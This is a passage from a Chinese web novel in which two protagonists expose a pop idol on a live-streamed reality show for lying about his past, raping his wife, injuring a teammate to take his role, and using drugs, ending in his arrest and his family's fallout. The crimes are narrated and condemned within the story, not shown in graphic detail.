“你吸着姐妹的血长大,你父母对你百般溺爱,即便你在学校花钱如流水充阔,他们也想方设法满足你,对你唯一的要求就是希望你好好做作业、以后考上大学出人头地,可你从小就觉得上学很辛苦,最努力的事就是想办法翘课。” 宁衣初冷眼看着脸色又青又红的方善游:“你没上大学,不是被家里耽搁没能上,是你中考时连普高成绩都不够,只能去上技校,根本参加不了普通高考,连职教高考都没准备,谈什么上大学?” “你出道时经纪人帮你把学历的事瞒住了,你就真觉得天衣无缝,还能拿这件事出来博同情了?” 【我的个天,越扒越有……】 【所以说别狡辩了嘛,本来就持身不正,还非要狡辩,不是提醒宁衣初想起别的黑料一起扯出来吗】 【我刚开始听到方善游那样说还真的脑子一抽同情了他一下,毕竟落后山村想读书读不了真的很惨,没想到根本不是这么回事……无语了,方善游本意就是骗我这种不了解情况的观众吧】 【想博同情,觉得就算宁衣初知道他学历的事,也不可能知道学历背后的事,就算被扒出学历差也能继续推锅给家里人耽误了他嘛】 【等等,不是在说他出轨睡粉的事吗,怎么扯到这里来的?】 【起因是方善游想用出身和上学彰显自己很可怜……】 【唉,他的姐妹们才是真的惨,不知道现在怎么样了】 【结果方善游还能出道当明星……】 宁衣初昨天病了一整天,现在多说了电话,情绪有些波动,话音落下后就忍不住咳嗽起来,声音也沙哑了点。 贺适瑕连忙给他递水,站在他身边轻轻拍了拍他的背。 等宁衣初喝了水,状态好点了,贺适瑕才轻声说:“这些事我也大致知道,我来接着帮你说,有什么没说到的你再补充,好不好?你休息一下。” 宁衣初懒洋洋地看了他一眼。 贺适瑕当然会知道。 因为原书剧情中能提及方善游相关的这些事,正是因为上辈子宁衣初死后,贺适瑕想为他打击报复过去欺负过他的人,在针对宁家和贺家人的缝隙里突然想起了节目期间方善游的行径、后知后觉意识到不对劲,于是查了一下。再然后,他就帮方善游爆料出了一堆事、送方善游就此退圈。 贺适瑕有上辈子做这件事的记忆,而作为操刀者,他知道的细节不会比宁衣初从原书剧情里得知的少。 宁衣初的喉咙确实有点不舒服了,索性点了下头:“好啊,你来做我的传声筒。” 贺适瑕笑笑:“我的荣幸。” 方善游实在没忍住,怒气冲冲道:“被你们两口子这么关注,我的荣幸才对!宁安夏故意的吧,跟你们商量好了耍我是不是!” 【哈哈哈哈哈小两口一起打你确实是你的荣幸,接着吧】 【贺适瑕说让宁衣初补充,更证明宁衣初的消息渠道来源不是他了,好好奇宁衣初怎么做到这么神通广大的】 【方善游还好意思这么跳】 【继续继续】 贺适瑕看向方善游,语气波澜不惊:“你还有什么博同情的话术吗,可以一起说了,免得耽误时间。” 方善游:“……” 虽然挺下不来台,但方善游哽了哽,还是选择了继续卖惨:“不论如何,我确实出身不好,这一点你们也承认我没说谎吧!” 贺适瑕纠正道:“你出身不好,但你从小到大靠卖姐妹和父母溺爱,日子过得比寻常小康之家的孩子还好,这看似冲突的条件,但确实是事实,你继续用家世卖惨,只能更凸显你的可恶。” 方善游:“……但别的小康人家可不会儿子刚成年就逼他结婚!我技校读完后就想到大城市里打拼,我知道自己长得挺帅的,和电视里的明星一样,所以我就想来试试,但我爸妈不准,非要我留在村里给他们生孙子……” “我承认,我确实读书不上进,读完技校就没读了,但不等于我没有事业心啊!不然我也不能成功出道还混得不错了!只是我想法和社会规训不一样,我不觉得得靠读书才能出人头地,所以以前才那么懒而已。” 贺适瑕继续反驳:“是有那么一类人,比较有自己的追求,不想接受普世制度、按部就班地上学读书,这类人有自己的想法,也会去实现,只要他们愿意承担这个选择的人生后果,那也不应该不由分说地否定。但你不是。” 方善游就知道贺适瑕不会帮着他说话,听到最后一句,居然诡异地有点松了口气,旋即又不忿起来:“你凭什么否定我!我有追求!” 贺适瑕摇头:“放弃学业,不等于就是这类有追求的人。” “事实上真情实感喜欢上学的人应该比例不算高,更多人是很清楚这是一条利己的路,所以即便喊苦喊累也会喊希望学校爆炸,但本身并不是真的愿意放弃学业。但你是真的愿意,你在学校里充阔、逃课是为了玩游戏,如今却端出‘不认同社会规训’的大旗,未免太厚颜无耻了。” 贺适瑕不疾不徐地继续说:“上学读书确实和出人头地、为人处事高低没有因果关系,但对于绝大多数未来要靠自己、没有家底背书的人来说,即便如今学历普遍贬值,也是比没有学历的人多更多机会的。而即便有家底做支撑的人,也多的是想给自己镀金个高学历的。” “方善游这番话太过巧言令色,事实上,如果他父母在他小时候真的溺爱到他不想上学也顺着他,那么长成一个没见识的文盲后,他可能根本不敢走出村子,走出去了也会发现连地图上的字都不认识。” 方善游咬牙切齿:“你们曝光我隐私,还要说这些冠冕堂皇的话来教训我!这么喜欢当老师,不如贺影帝你退圈去进军教育行业吧!” 贺适瑕正要回击,宁衣初已经先开了口:“那你可以去告贺适瑕侵犯你隐私,别找我,我不喜欢折腾,到时候怕侵犯你更多隐私。还有,别建议贺适瑕去祸害教育行业,他在娱乐圈里反正也挺多人管他叫老师的,够了。” “另外,贺老师,”宁衣初看着贺适瑕,索然无味地说,“这些大道理不用你讲,谁都能说出一大箩筐来,大家是想吃瓜、看坏人落马,你这样长篇大论很烦,影响看热闹的情绪,怼人的时候能不能直入正题一点?” 贺适瑕虚心受教:“抱歉,我自我整改一下。方善游你继续吧。” 方善游听得气急败坏:“你们什么意思!这是什么态度!我是什么试验品吗!还传授上经验了!” 第43章 第 43 章 为抢资源害队友骨折,还…… 方善游看起来被宁衣初和贺适瑕的态度气得不轻, 他干脆也不装了,一屁股坐在了节目组准备的椅子上,继续振振有词地把自己说成一个封建糟粕的受害者—— “我十八岁的时候想离开村子到大城市里闯荡, 但我家里不许, 我好说歹说, 他们才答应给我路费生活费,但前提是我得给他们生个孙子, 必须按着他们的心意先结婚,至少等老婆怀孕了才能走。” 【刚成年能结婚??】 【话说方善游老家在哪儿啊, 七八年前还这么封建吗?】 【耀祖一辈子也就受了这点“委屈”了】 【靠, 什么叫你给生个孙子,你生得出来吗, 那是你老婆生的,你倒是一句话就好像功劳苦劳全是你的了, 恶心】 【额……方善游结婚的时候才十八的话, 那他老婆岂不是很有可能甚至没成年?】 【要不警察去他们村子里查查吧……】 方善游:“我老婆和我一个村子的,那会儿我们年龄都没到,领不了证,摆了酒就算是结婚了, 没几个月她查出来怀孕了, 我就终于从我爸妈手里拿到钱, 来了A市。” “我知道, 你们肯定觉得我不是人,把怀孕的老婆丢下了, 但我得出来打拼啊,不然她和孩子以后吃什么!我也不是那么没良心的人,不然后来就不会跟她领证了, 她想带着孩子来A市住,我也都给她安排了,我又没有像陈世美那样抛弃糟糠妻!她现在日子过得滋润着呢,都是花我赚的钱!” “我也承认,我确实出轨了,但我刚才也解释了,我和老婆就是包办婚姻,我养着她和孩子算是尽责任了吧,我实在没忍住另寻真爱我有什么错!你们难道想让我直接抛妻弃子吗,她们母女几个离了我可没法活!” 方善游越说还越理直气壮起来:“我的女朋友确实也是我的粉丝,但那不等于我跟她不是真爱啊,不然我能谈了几年都没分手吗?” 贺适瑕这次没有中途打断,等方善游说完了,他才开口道:“你挺会诡辩的。为什么不说说你老婆是怎么怀孕的?” 方善游闻言心下一咯噔,虽然想要安慰自己“在这件事上,宁安夏都只知道他已婚有女且出轨粉丝,宁衣初和贺适瑕再知道细节也不会知道这么多吧”,但听着贺适瑕问话的语气,他实在是没法安心。 他逞强地回:“贺老师这话问得奇怪,你要打听我和我老婆的私房事吗?” 贺适瑕冷眼直言道:“你老婆是你小学同学,但她不像你‘命好’,虽然成绩优异但家里没让她继续读书。你十八岁那年家里要求你结婚,但没有指定人选、让你自己选,你就想到了你老婆这个小学同学。” “她原本不想跟你结婚,是你糊弄她说你们就假结婚,反正也领不了证,等摆了酒席,你爸妈就会同意让你离村,到时候你们俩一起去外面的城里各打拼各的,当没有结婚的事。她也想摆脱家里,就信了你是假结婚,没想到你在酒席之后就强|奸了她。” 因为知道贺适瑕不可能在信口雌黄,所以其他嘉宾和直播间观众们听信后,霎时震惊又愤怒。 而方善游负隅顽抗:“你胡说!我……这么严重的诽谤,贺适瑕你拿得出证据吗!我要告你!” “我的律师很欢迎。”贺适瑕回道,“至于证据,你会答应跟你老婆领证、让孩子上户口、安排她们母女在A市定居,不就是因为你老婆手里有你强|奸她的证据吗?视频证据,不止一次的。” 方善游脸色煞白。 随着贺适瑕的陈述,听众们继续得知了更多经过和细节—— 方善游现在的老婆当年第一次被强|奸后,意识到自己受骗了,什么假结婚、摆了酒席就能离开村子都是假的,她惶恐愤恨过后,想到了录视频当证据,以后说不定还能告方善游。 而录视频证据用的手机,还是方善游第一次实施强|奸过后,因为“愧疚”而送给他老婆的,是他以前用过淘汰下来的二手机。 第一次录视频的时候,方善游的老婆用哭诉诱导着方善游承认了第一次强|奸的事实,而她最开始录视频的初衷,也就是希望录到方善游承认,但她没想到,方善游一边说着很愧疚一边再度对她实施了强|奸……倒是让证据更完整了。 后来她很快怀孕了,而方善游第二天就离开了村子,她才知道原来方善游和他父母还有这个约定,可她没办法,只能带着怨气留在村子里,生下了第一个女儿。 生了女儿,可不能让方善游的父母满意,于是他的父母叫他回来,继续和老婆生孩子。 事业运来说,方善游的确走得比娱乐圈里很多入行的新人都顺利,那个时候他才到A市不到一年,但已经被经纪人看中,准备包装他,所以方善游那时候走不开、也不敢走开,就怕他离开几个月回来经纪人都不要他了。 为了按住父母、不让他们来A市催他,他当时还跟同一批被经纪人签约、都住在公司宿舍的舍友,也是他如今的队友之一的人借了一笔钱,打回家里说是在外面赚大钱很忙,实在不能回去。 方善游的父母第一次收到儿子往家里拿回钱,当即被安抚住了。 但又过了两年,他们想抱孙子的心实在按不下去,一再催促,方善游这次打钱也没用了,于是只好带着怒气回村了一趟,并把怒气全发泄在了他老婆身上。 那次方善游没足够的假期久待,几天后就匆匆走了,这期间他老婆仍然录下了证据。而让方善游的父母欣喜的是,就那几天他老婆还是怀孕了,又有了抱孙子的希望。 不过这次生下来的还是女儿,于是方善游的老婆在婆家待遇更差了,方善游的父母继续催他回老家生儿子。 方善游当时被经纪人通知,准备塞他进第二个选秀节目——他在此之前已经参加过一档,但没能顺利出道,公司也没帮他运作,不过这次公司看中他的潜力,只要他争气进前十五,就一定帮他运作到能成团顺利出道。 关键时期,方善游当然不敢走开,就好说歹说才让父母同意,叫他老婆自己来A市,怀孕了再回去,他就不奔波了。方善游的父母本来也想来,但方善游软硬兼施了一番,才让他们打消了念头。 可老两口不乐意儿媳妇去城里跟着“赚大钱”的儿子享清福,所以让她把不受待见的两个女儿也一起带上照顾,倒是正合了担心女儿的方善游老婆的意。 ——这才是方善游的老婆和两个女儿会来到A市,最开始的起因,不是什么方善游发达之后良心发现主动把她们带出来的。 方善游本来是觉得前面两次都能那么顺利怀孕,这次应该也花不了多久,等确定老婆怀孕了就让她和女儿们赶紧回村子里去。 但方善游的老婆好不容易抓住机会出来了,才不肯回去,就拿着方善游给的买菜钱悄悄买避孕药吃,直到方善游觉得她怎么还没怀孕太奇怪了、然后发现了避孕药的事。 那时候方善游的选秀节目已经开始播出了,他老婆清楚自己手里的视频证据能威胁到方善游,于是拿了出来,从而顺利让方善游答应了跟她领证、给两个孩子上户口,还有让她们留在A市不回去了。 方善游的老婆没学历、没工作经历,还带着两个孩子,来了A市之后知道靠自己很难开启新生活,而且老家那边她的娘家婆家也不会放过她,既然离不开,她就想至少有个法律承认的身份,而且方善游既然能赚钱了,自然要花他的钱。 就这么直到今年前不久,长期吃的避孕药居然没见效,方善游的老婆又怀孕了——虽然方善游各种嫌弃贬低,但他又抱着“不睡很亏”的想法,所以每每有时间去妻女住的地方,他就会对他老婆用强,任他老婆拿视频威胁也不罢休。 而他老婆为了攒够离婚的底气,确实做不到在之前就把视频曝光出来。 ——在方善游的无能狂怒中,贺适瑕爆料完了这些事。 【天啊,强|奸犯去死】 【方善游一家子还有他老婆的娘家都该去死啊啊啊好恶心的一群人】 【有视频证据的话是不是可以告方善游强|奸啊?】 【婚内强|奸能告吗,只有视频证据的话,之前的强|奸还能告吗?我感觉可能性不高啊怎么】 【至少有视频证据可以让方善游身败名裂,而且这么公开闹大被指证出来的强|奸犯,不可能还能在娱乐圈混,他又没多深的资历,除了签约公司之外也没别的背景的话】 【有靠山也不用担心吧,毕竟圈内还有谁的手腕能硬过贺影帝啊,他可是贺氏集团的人,宁衣初甚至有百分之十三的股份,他们俩显然没打算放过方善游的】 【可以告的,有视频证据更有利,而且方善游他老婆既然能坚持录视频证据,说不定也有保留期间的别的物证、身上的伤痕照片之类的,总之不要觉得希望渺茫就放弃报警】 【不过,我有点好奇啊,这么多细节,甚至有当事人的心里想法,贺适瑕和宁衣初他们是怎么知道的?】 方善游也在喃喃自语:“你、你们怎么会知道这么多……我知道了,是林娇!是不是林娇找你们来打击报复我的!是她告诉你们这些事的,所以你们才知道我那么多过去,连我逃课都知道,肯定是她跟你们合伙,不然你们怎么知道她手里有证据,你们……” 林娇,就是方善游老婆的名字,贺适瑕刚才一直没说出来,但现在方善游自己喊出来了。 方善游咬牙切齿道:“林娇疯了吗!把我毁了她有什么好处!她想要钱,想离婚,跟我说就是了,我早就想摆脱她了,她现在……我就算死,也要拉着她一起,她别想离婚摆脱我了!” 【唉,这倒是,现在闹出来,方善游不肯离婚了怎么办,感觉还是有点考虑不周了】 【就听方善游现在瞎扯吧,他被视频威胁后都还要婚内强|奸,不然就觉得自己“亏”了,哪有可能那么容易就答应离婚,估计和强|奸时一样,觉得反正他老婆不想失去当下的“好日子”就不敢真的曝光视频,他不会让她顺心的】 【是的,从方善游他老婆走投无路,只能先要求结婚证开始,虽然当时也威胁到了方善游,但也等同于把自己捆绑起来了,方善游被威胁着领的证,肯定不会他老婆要求离婚就遂她愿】 “她之前查出又怀孕了的时候,不是已经跟你摊牌,想要打掉孩子离婚吗。你那会儿没同意,现在又在装什么?”贺适瑕冷声道。 “她觉得靠这几年在A市生活的经验、锻炼的能力,再加上离婚从你手里拿一点启动资金,足够开启新生活了,想跟你划清关系。但你不肯,生怕她离婚之后没了顾虑,直接把视频证据曝光出去。” “你还拿两个女儿威胁她,让她老实把第三个孩子生下来。” 上辈子,林娇还是选择了偷偷去打掉第三个孩子,然后方善游更怒了。 同时他意识到可以拿离婚的事反要挟林娇,说如果她敢不听话、敢把视频证据曝光出去,他就死缠着她绝对不跟她离婚,反正到那个地步他就是个光脚不怕穿鞋的,一定会让她一辈子都别想自由,还有两个女儿他也不会放过。 林娇有点心性,但成长环境让她确实眼界见识有限,被方善游威胁过后,林娇确实怕了。 直到,上辈子贺适瑕安排了人去查方善游,又查到了林娇,贺适瑕承诺会安排律师帮她打离婚官司、给她钱让她能带着女儿重新生活、不会让方善游有好日子过还能去找她们母女麻烦,林娇才抓上了这根救命稻草,迫不及待曝光证据、报警。 而这辈子…… 贺适瑕在此之前没想到,但宁衣初是有备而来。 他歪了下头,看向方善游,插话道:“上节目之前,我联系过林女士了,她说很愿意看到你在节目上被揭穿罪行,表示如果我们的口述不够的话,她也会配合在网上放出视频证据,她想看你身败名裂,不在乎视频证据是否会曝光她的隐私。我很钦佩林女士的勇气,如果你不愿意老老实实跟她离婚的话,我会帮她请律师,让她尽量少些后顾之忧的。” 这话其实因果颠倒了,是宁衣初像上辈子的贺适瑕那样,给了能让林娇安心的承诺,林娇才答应这么破釜沉舟的。不过现在告知给观众,这因果关系也没那么重要。 方善游闻言,彻底脸色惨青惨青的。 【那就放心了,宁衣初做事果然还是周到的】 【加油加油,摆脱强|奸犯,送强|奸犯进监狱!】 【好奇方善游那个女朋友现在是什么看法……】 【脑子正常的话应该也在觉得很恶心吧】 【听前面宁衣初那意思,方善游的女朋友应该是不知道他已婚的,也是被骗的,挺惨了】 【我靠,宁衣初刚说完,方善游的微博就更新了,是他老婆上号发的帖子!快去看!】 【看来这位林女士确实做了不少准备工作啊,连方善游的微博账号密码都搞到了,用方善游自己的账号曝光他的恶行,确实更有效果,也更戏剧化了】 在场的嘉宾们这会儿自然没看手机,连方善游自己都不知道林娇已经用他的账号发了帖子。 宁衣初接着看了眼方善游的队友们——Tomato的剩下四位成员,分别叫王早、杨景贤、赵明、曹烨。 “第二件事,”宁衣初说,“方善游,你队友王早知道你故意害他骨折、抢他资源这件事吗?” 方善游作为队长,在团内的人设也一直很好,王早本来还在因为得知他是个人渣这件事而心情复杂,闻言霎时脸色僵住了。 另外三个队员也懵了,其中的曹烨下意识开口:“什么?!队长……呸,方善游害王早骨折?” 杨景贤想起来:“王早骨折……是说两年前那次吗,就方善游拿到第一个角色那次……” 赵明更加错愕:“方善游害王早骨折……那次不是我不小心害的吗,我……我一直很愧疚,本来王早已经被导演选定了要去演那个男二,都怪我喝醉了要王早背我回房间,我又在他背上不老实,害他上楼时踩空了楼梯摔骨折了……” “哦对了,”宁衣初便继续看着方善游,“仗着赵明喝醉了不省人事,你偷偷摸摸站在楼梯上拿晾衣杆戳他后背,让他乱动,最后他们都以为是赵明害的王早摔下楼梯,这么栽赃陷害,方老师手段高明。” 方善游咬着牙,已经不敢去看几个队友的表情。 而王早终于反应过来,难以遏制怒气地直接冲向了方善游,挥手就是一拳,把坐在椅子上的方善游打得身体一歪,摔倒在地。 王早扑上去继续揍:“居然是你!居然是你!我们拿你当队长,你就这么处心积虑对我们!你当年说家里爸妈生病缺钱治跟我借,我们那时候都不怎么熟我都借给你了!刚才听到你拿那钱做什么的,我都恶心死了,没想到你还害过我!” 方善游想要反抗,但背了这么久黑锅的赵明也过来了,跟王早一起揍他,他躲得了左边躲不了右边,连起身都做不到。 赵明还在喊杨景贤和曹烨:“你们俩愣着干什么!还不过来一起揍!气死我了,方善游,你怎么这么歹毒!当年经纪人是送我们一起去试镜的,王早试镜过了是他的本事,经纪人也承诺你了下次一定轮到你这个队长,结果你就那么迫不及待,要把王早的资源变成你的‘下次’?!” 杨景贤和曹烨不知道该怎么办,但也确实同仇敌忾,而且这之后方善游肯定完蛋了,Tomato届时剩下他们四人,他们俩今天不一起揍,回头在王早和赵明心里留下隔阂了怎么办。 于是杨景贤和曹烨彼此看看,也一言不发上前揍人。 方善游被群殴得话都说不完整:“你们……我要……告你……你们!啊!” 【这熟悉的味道,果然宁衣初在的地方就有肉搏的戏看】 【真的好歹毒啊我的天】 【Alien的纪天风也害队友,Tomato的方善游也害队友,现在的男团这么复杂的吗】 【方善游就是靠出演的第一个角色开始火起来的,吃了不少角色人设的红利,他本身演技并不好,那时候更是很糟,我记得当时刷到过安利帖,不少都是看在他新人的份上溺爱说演技青涩但未来可期,也有一点脸的功劳吧,说长相贴人物】 【作为原地脱粉的方善游粉丝可以告诉大家,那部剧的导演当年还暗戳戳说过方善游的长相其实不如原定的演员贴,他也不如原定的演员演技好,我们当时作为粉丝还因此骂过导演(对不起)】 【有一说一,看到方善游挨揍还是很爽的】 【我靠,方善游那个粉丝女友也主动出来说话了,就在林娇用方善游的账号发的新微博评论区出现的!】 【说什么了说什么了!】 【说她之前确实不知道方善游已婚的事、也一直被方善游伪装出来的形象骗了,她现在既难过又愤怒,跟方善游一刀两断,另外不论如何她是事实小三所以还是想跟林娇道歉,也想因为配合方善游隐瞒恋情欺骗粉丝的事对粉丝同担说对不起】 节目组的人虽然也乐意看人渣被打,但眼见着方善游在四人围殴下叫声越来越低了,导演连忙让人上前去劝架,好歹别闹出了大事。 王早四人只能忿忿地收了手。 导演本来想让工作人员把方善游直接抬出去,但开口之前,下意识看向了宁衣初和贺适瑕那边,总觉得他们可能还有话说。 果不其然,宁衣初接着说了:“最后一件事,也是宁安夏手里掌握的,你知道曝光出来你就会彻底完蛋、毫无转圜余地的事……方善游,你还吸毒。”—— 作者有话说:抱歉,最近总是不能准时更新,想了想决定把更新时间改一下,延后固定为晚上十一点半,不好意思,谢谢宝们的支持 第44章 第 44 章 他知道是你把他送到贺适…… “吸毒”这么敏感的词一出, 直播间里本来准备吃下一口瓜的观众们一时都不敢发弹幕了。 方善游本来就被群殴得鼻青脸肿,这下面上更像是打翻了调色盘,他窘迫又愤恨地看着宁衣初, 却说不出话来, 形貌显得格外滑稽。 而刚才上前劝架的工作人员本来搀扶着方善游, 这下也被“吸毒”两个字震得悚然,下意识都松开了手, 巴不得离方善游远点。 没人扶着,方善游摔倒在地, 很勉强才从牙缝里挤出不死心的两个字:“证据……” 宁衣初不疾不徐道:“你这次上节目带的行李里, 或许就有毒品?毕竟节目一录就是五天,吸毒的人很难离开毒|品那么久吧。” 上辈子方善游只来节目三天, 都冒着可能被检查行李箱的风险带了毒|品,躲在住处卫生间里偷偷吸。这辈子五天、还明确知道节目组已经没有检查行李箱这个流程, 宁衣初不认为方善游会两手空空地来, 他的行李箱里肯定有证据。 听到这话,节目组的工作人员忍不住甩了甩手,脱口而出道:“我还帮他拿过行李箱我的手脏了!难怪他一来就问我们是不是还让他们住在Alien那个玻璃屋里,原来是怕不方便做这个!” 虽然节目组之前说只腾出来了五处房子, 但意识到玻璃屋实在不便住人后, 本意并非为难嘉宾的节目组已经临时收拾出来了新的房子, Tomato这几个人就是住到那里去了。 导演脸色骤变:“报警!快点报警!这不是我们一个节目组能做主的事了, 他箱子里要是真有毒|品,那谁都别再去碰了!” 这是个被废弃的私人小岛, 本身没有警局,但又不是与世隔绝,周边总有的, 总之得报警看警方怎么安排,导演完全不敢对这烫手山芋擅作主张。 “不用特意再报警了,警方已经在过来抓方善游的路上了。”宁衣初说道。 闻言,方善游瞪大了眼睛,不知道脑子怎么想的,他突然爬起来想要往外跑。 导演哪里敢让他跑掉,赶紧喊站在门口的人把门关上,又叫上几个比较强壮的工作人员把方善游摁住了,免得他走投无路之下做出危害其他人生命安全的行为。 做完这些,导演才小心翼翼问宁衣初:“是宁老师您已经报过警了?” 宁衣初回道:“其实,我在一个星期前就报过警了,警方在此之前一直在跟踪相关人员等候抓捕时机,昨晚到今天凌晨他们已经抓到了一批毒贩、吸毒以及容留他人吸毒的人,正准备对社会发布公告,我在今早也刚收到了警方给我这个举报者的回执。” “他们知道方善游这个吸毒人员也在录节目,虽然应该跑不了但还是让我帮着盯一下,导演现在既然已经知道了,那我建议你们把岛上港口的镜头关掉,把方善游带到别的、不会被直播拍到的地方暂时控制住,等警方来带他走。” “方善游没有参与贩毒的情况,虽然吸了毒,但按照现行法律不算犯罪,所以警方为了不打草惊蛇才把他留到了最后抓捕。不过,收缴毒品、强制戒毒还是要的。” 说着,宁衣初看向了沉默不语的宁则书:“你那在此之前已经被赶出家门的四叔宁绍礼,和已经跟你五姑姑宁安夏解除婚约的前姑父顾长柯,就要坐牢为他们自己的罪行负责了。” 宁则书一愣,好奇的却是:“你刚才说五姑姑知道方善游吸毒的事,那怎么听起来她好像没什么事?” 宁衣初挑了下眉:“你们一家子可真是亲情浓厚。因为宁安夏只是知道有人吸毒但没有报警,此外她本人没有参与吸毒、容留吸毒和贩毒,所以虽然我也很希望看她蹲监狱,但按现行法律她确实不算犯罪,大概是会被口头教育一番而已。” 宁则书也是实在惊讶困惑,虽然知道宁衣初是有意让他主动问,但还是选择了上钩地开口:“那为什么又和顾长柯、宁绍礼有关?他们是容留吸毒了?” 宁衣初歪了下头:“顾长柯吸毒且容留吸毒,几个豪门‘阔少’,加上几个娱乐圈里巧合攀附、负责端茶递水一起吸的小弟,都聚在顾长柯的房子里。所以之前还没解除婚约时,宁安夏才会偶然发现了这件事。” “至于宁绍礼,他吸毒以及……准备入伙贩毒但还没来得及实施,我也不知道是什么罪,虽然我也希望他被判重一点,但实在不好等到他真有犯罪行为了才去举报。” 毕竟多拖一天,这个阴损的产业链就多害一些人,所以宁衣初在宁绍礼因为身世曝光被驱逐出宁家后,马上就报警了。 原书剧情中,后来宁绍礼也因为身世曝光而被赶出了宁家,但他当大少爷当惯了,离开了宁家的供养和外人的吹捧根本活不下去,何况他还有毒瘾。 于是,为了赚钱维持足以挥霍的开销,和为了能够让自己继续吸食毒|品,宁绍礼离开宁家不久就开始参与贩毒,他有从前吸毒从而结实的“人脉”,进入这行很容易。 这辈子,宁衣初把宁绍礼身世曝光、被赶出宁家的时间提前了,而宁绍礼居然比原书剧情里更加迫不及待地加入了贩毒。 缉毒本就是危险的持久战,接到举报后一个星期内就能顺利抓到一批毒贩对警方来说也属实是意外之喜,宁衣初今早接到短信的时候也有点意外这么快。 节目组的工作人员在导演安排下,准备把方善游带到别的地方去等警察来。 宁衣初看着他们出去,又问宁则书:“顾长柯被抓了,我猜顾家人肯定会到宁家大闹,宁家现在应该挺热闹的,你还不滚回去当全家的贴心小棉袄,不怕之后宁家人真对你心生隔阂,挽回不了?” 宁则书居然还笑了下:“小初这么关心我在宁家的处境,我还挺感动的,有点舍不得离开。” 【都直接说“滚”了,宁则书还能强行说成关心,也是挺佩服他的】 【知道未婚夫和哥哥吸毒但不报警,还能拿这件事来威胁参与其中的别的吸毒人,宁安夏也是挺“厉害”】 【夏至娱乐也倒闭吧好吗求求了】 【虽然不知道宁老四怎么被赶出宁家了,但总之就是宁家当亲儿子养大的对吧?宁家人还挺五毒俱全的】 【我比较好奇这样一个见鬼的家庭怎么做到支撑起康宁大酒店那么大产业的……】 【可能这就是常说的“世界是一个巨大的草台班子”吧……】 “但正如你说的,我还是现在就回家去吧,确实有点关心家里的情况,短时间出了这么多变动。”宁则书突然话锋一转,接着如此说道。 宁衣初看见他就烦,闻言合了心意:“祝宁家家宅不宁。” 正如宁衣初猜测的,此时此刻,顾家人确实正在宁家。 顾长柯在凌晨时分突然被警方带走,顾家人几番打听得知了情况后,觉得这事儿肯定是宁绍礼带坏了他们家顾长柯,正好还有和宁安夏婚约的前怨,顾家人索性到宁家大闹了一顿。 跟来的顾家人里,有的就是浑水摸鱼来撑个场面的,还拿着手机正好在看宁衣初和贺适瑕这节目的直播,听到宁衣初提起顾长柯,这人连忙叫停其他人,让他们一起听。 听完了宁衣初说的,顾家人更火冒三丈,他们完全不提顾长柯吸毒的事,全部推锅给宁家:“我们家长柯果然是被你们宁家连累了!宁衣初想要报复你们宁家,才波及了我们长柯,你们姓宁的真是作恶多端,我们家长柯要是真的坐牢了,我们顾家跟你们没完!” 宁绍仁和韩文华也是怒气冲冲:“你们家顾长柯自己要吸毒,你们不躲在家里别出来丢人现眼就算了,还好意思跑到我们家来喊打喊杀,什么毛病!” “你们耳朵聋了吗!没听见宁衣初说的吗!就算和宁家有关,那也是和宁绍礼有关,他之前就被赶出宁家了,跟我们宁家没关系了!” 宁安夏的生母柳双也是万分不满:“倒是我们家夏夏才是被你们家顾长柯给连累了,她又没聚众吸毒,现在还被叫去警局教育!我们还没找你们顾家麻烦呢,你们倒好意思找上门来了!幸亏是取消婚约了,不然真跟你们家那个吸毒的结了婚,我家夏夏可就惨了。” 顾长柯的父亲啐道:“惨个屁惨!她之前发现的时候怎么不跟我们说?告诉我们了,我们早把长柯教育好了,哪还有今天的事!宁安夏就是没心,巴不得我们家长柯不好!” 顾长柯的母亲一拍手:“我知道了!宁安夏跟宁绍礼不是一个妈,她看不得宁绍礼走正道,当然巴不得宁绍礼吸毒吸死,当然不愿意跟别人说,所以我们家长柯吸毒的事她也得一起瞒着,我们家长柯这是被宁绍礼连累,被你们家宁安夏迁怒了啊!都怪宁老爷子为老不尊,一家子歪风邪气!” 宁安夏的亲哥宁绍仁冷着脸:“你们家顾长柯要是是被人逼着吸毒的,那你们就赶紧去跟警察说啊,怎么不去?你们这儿子是个什么混账玩意儿,你们自己心知肚明!” 顾长柯那边也有兄弟,闻言回道:“混账玩意儿?你们家之前可是想把宝贝女儿嫁给我们家这混账玩意儿呢!看来想看兄弟姐妹过得不好果然是你们宁家家风!” 宁安秋和宁安冬姐妹俩在旁边小心翼翼缩小存在感,她们的妈于涟涟和亲哥宁绍礼都被赶出了宁家,现在顾家来找茬,口口声声都在提宁绍礼,可宁绍礼又不在这,她们作为宁绍礼同母的妹妹,实在很怕被顾家咬出来。 宁家老二宁安春和丈夫王冕,还因为私房事被曝光的事羞于见人,这两天都关在房间里,这会儿倒是没迎接顾家的炮火。 至于宁绍仁和韩文华夫妻的长子、宁则书的亲哥宁则棋,他在场,但一如既往事不关己似的冷眼看着,被人骂到才简短回一句嘴。 顾家人在宁家闹着闹着,被叫去警局协助调查和教育的宁安夏身心疲惫地回来了,一进门就被顾家人逮住一通诘问责骂。 宁安夏心烦意乱,她回程路上还接到了陆愿姝的定时邮件,说她接到邮件的时候她已经在回谢菲尔德的飞机上了,陆愿姝有过纠结犹豫,但最终还是决定舍弃这段感情。 事业感情都不顺利,顾家人还要来蛮不讲理地找茬,宁安夏随手抄起旁边的花瓶:“都给我让开!” 顾家人瞪着她:“哟,还要打人,来啊,打啊,打完了我就报警,送你和长柯一样去坐牢好了!” 宁安夏冷笑:“这个时候长柯长柯长柯了,之前也没见你们这么宝贝他啊,他说他吸毒是因为顾家没人关心他,你们知道吗?” 顾家人一顿,然后更加暴怒起来。 “宁安夏!你还想挑拨我们和长柯的亲情!我们家长柯要是去坐牢,你那个夏至娱乐也休想继续开下去!我们顾家跟你们宁家不死不休!看你们宁家还能蹦跶多久!” …… 警察来了岛上,在观众们无知无觉的时候带走了方善游和他的行李,顺带还把方善游的队友们的行李箱也都检查了一遍。 宁则书随后也跟节目组请辞,导演让人安排了船送他离开,至于提前结束节目录制的违约金——宁则书压根没要片酬,谈什么违约金。 事前,导演本来以为是宁安夏想要塞自家人来露脸、准备出道,但事到如今,导演也看不懂宁则书到底来干嘛的了,总之都是“祖宗”,送走了也好。 方善游涉毒,这件事太严肃,节目组这边觉得马上进入娱乐环节有点不合适,给人的观感也不好,正好时间也快到原定做午饭的时候了,索性就让嘉宾们先不开启原定的狼人杀,而是直接去餐饮点做饭吃饭。 本来这顿饭挑选食材的顺序要按着上午狼人杀的游戏情况来定的,但既然没玩成,那就嘉宾们随心所欲了,节目组实在没心力管了。 